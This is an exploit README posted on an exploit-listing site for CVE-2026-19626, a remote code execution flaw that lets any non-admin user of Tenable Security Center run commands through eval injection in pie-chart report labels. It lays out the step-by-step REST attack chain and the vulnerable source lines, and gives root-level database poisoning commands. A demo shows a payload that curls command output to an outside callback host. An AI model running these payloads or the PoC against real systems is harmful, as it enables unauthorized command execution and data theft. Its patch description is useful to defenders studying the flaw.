Sploitus

Exploit for Eval Injection in Tenable Security Center

githubexploit Β· 2026-08-24

Exploit Code

README127 lines
## https://sploitus.com/exploit?id=1AF00405-8F85-587B-854D-4F6B41739EAB
![infoGraphic](Gemini_Generated_Image_2m2js52m2js52m2j.jpg)

# CVE-2026-19626 β€” RCE in report generation (authenticated, non-admin)

**Status: CONFIRMED β€” pure-REMOTE, non-admin, REST-only** (6.7.2-14.el9 lab, 2026-08-21).

The weaponized chain (this is what poc.py does):

1. login as any regular org user
2. `POST /rest/group` with `name: "{=system('')}"` β€” braces/quotes accepted
   verbatim (the group controller has no charset check)
3. `POST /rest/reportDefinition` β€” PDF report, one pieChart component,
   `user/sumgroup` query, `labelColumns: groupID`
4. `POST /rest/reportDefinition/{id}/launch`
5. At render, `substituteParams()` substitutes the `{label}` placeholder with the
   group name BEFORE the `{=...}` eval loop runs β€” the payload lands inside the
   format string and `eval("$expr = system('');")` fires as tns
6. `system()`'s return value is substituted back into the label β€” the command's
   output renders into the pie legend of the finished report (the exfil channel)

Marker `/tmp/pwn_label` created by this exact chain (no DB access, no style write,
no file upload). Note the zero-member group still produces a sector β€” the sumgroup
aggregation includes it.

Additionally confirmed by direct invocation and full-pipeline style poison (see
history below): the eval sink is live in the shipped `substituteParams()`, and a
poisoned default `legendFormat` style attribute fires on ANY pie-chart render
including non-admin-owned reports.

**Delivery caveat (why the pure-REST PoC stalls):** the report definition's inline
`style` object β€” where the PoC plants `legendFormat`/`labelFormat` β€” is stored
verbatim in `xmlDefinition` but **discarded at render**: `getReport(CONTEXT_RENDER)`
rehydrates components from the normalized tables and overwrites
`$component['style']` with `StyleLib::getComponentStyle()` (fetched by `styleID`).
The style-import controller exists (`Styles::add`, parses an uploaded XML file via
`xmlToStyles`, with the admin-only check commented out) but **no route to it is
exposed** β€” 12-verb/path volley (`style`, `styles`, `style::add`, `style/import` Γ—
POST/PUT/PATCH, with a valid staged filename) all return error 10, and the UI bundle
contains zero style-endpoint calls. Pure-remote delivery therefore requires a
style write path that 6.7.2 does not expose; the rendered chain was demonstrated
via the style attribute directly.

## Vulnerability

`/opt/sc/src/lib/ReportChartingLib.php` (SecurityCenter 6.8.0 and earlier):

- **line 8283** β€” `eval("\$expr = {$exprs[1]};")` in `substituteParams()`. Pie-chart
  legend/label format strings (`$style['legendFormat']` / `$style['labelFormat']`,
  lines 4952/4983) support `{=}` placeholders, e.g. the built-in default
  `{={sector}+1}`. The expression body is user-supplied report-definition content β†’
  arbitrary PHP.
- **lines 5538 / 5714** β€” `eval("\$sectorLabels->setBackground($labelStyle);")` with
  `labelStyling` from the chart style. The 6.8.0 guard was
  `if (strstr($labelStyle, ";")) // EXPLOIT???! Revert to default` β€” rejects `;` only;
  `system('cmd')` passes.
- **line 6125** β€” `if (is_callable($matches['name']))` gate on bar-shape specs like
  `circleShape(10)`. `system(id)` passes the gate. The 6.9.0 fix comment states it
  outright: *"is_callable() is NOT a safe gate (is_callable(\"system\") === true)"*.

Any org user with report-definition rights reaches all three at render time
(`generateReport.php` / Jobd). `ReportDefinitions::launch()` refuses ROLE_ADMIN β€”
the bug class is explicitly non-admin.

Command output is substituted back into the label text, so the rendered report is the
exfil channel.

## Patch (6.9.0)

`eval()` removed; `{=...}` expressions restricted to
`/^[0-9.\s()+\-*\/]+/` and evaluated by a tokenizer; `resolveLabelStyleArgs()` parses
label styling into an argument list; `isAllowedBarShapeFunction()` allowlist with
numeric-only parameters.

## PoC

```bash
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd 'id'
```

Group-name label injection (the remote chain above): creates the payload-named
group, builds the sumgroup report, launches, and polls for the rendered result β€”
command output appears in the pie legend of the finished report. Payload
constraint: no `}` characters (the `{=...}` regex is non-greedy to the first
brace); command output rides the label substitution, so read it from the report
or verify via marker/timing.

## Anatomy notes (why the obvious chains stall)

- The definition's inline `style.legendFormat`/`labelFormat` is stored verbatim in
  `xmlDefinition` but **discarded at render** β€” components rehydrate styles from
  the Style tables via `styleID` (`ReportDefinitionLib` render context overwrites
  `$component['style']` with `StyleLib::getComponentStyle()`).
- The style-import controller exists (`Styles::add`, admin check commented out,
  parses an uploaded XML via `xmlToStyles`) but **no route is wired** β€” 12
  verb/path combos (incl. sub-resource `/rest/style/{id}`) all return error 10,
  and the UI bundle contains zero style-endpoint calls.
- The label-value path needs none of that: `{label}` substitution precedes the
  eval loop, so ANY attacker-influenced label (group name here; user profile
  fields and scanned-asset hostnames are the same shape) carries the payload.

## Lab confirmation commands

```bash
# direct sink (on-box)
/opt/sc/support/bin/php /tmp/t.php   # requires defines+phpchartdir+ReportChartingLib

# style poison (root) + any report launch
/opt/sc/support/bin/sqlite3 /opt/sc/application.db \
  "UPDATE AppStyleAttribute SET value='{=system(\"touch /tmp/pwned\")}' \
   WHERE attribute='legendFormat' AND styleID IN (19,20)"
# restore: DELETE those attribute rows (falls back to built-in defaults)
```

## Demo

```console
$ python3 cve-2026-19626.py --target https://1.1.1.1 --username user --password user --cmd id
[*] callback on 2.2.2.2:38511, payload='{=system("curl -d \\"$(id)\\" http://2.2.2.2:38511")}'
[+] authenticated, token 21137241...
[+] created group carrying payload name (id 9)
[+] reportDefinition #51 created β€” UI: https://1.1.1.1/#/reports/51
[+] report launched β€” chart render evals the group-name payload
[*] waiting for output callback ...
[+] command output:
uid=250(tns) gid=250(tns) groups=250(tns) context=system_u:system_r:initrc_t:s0
```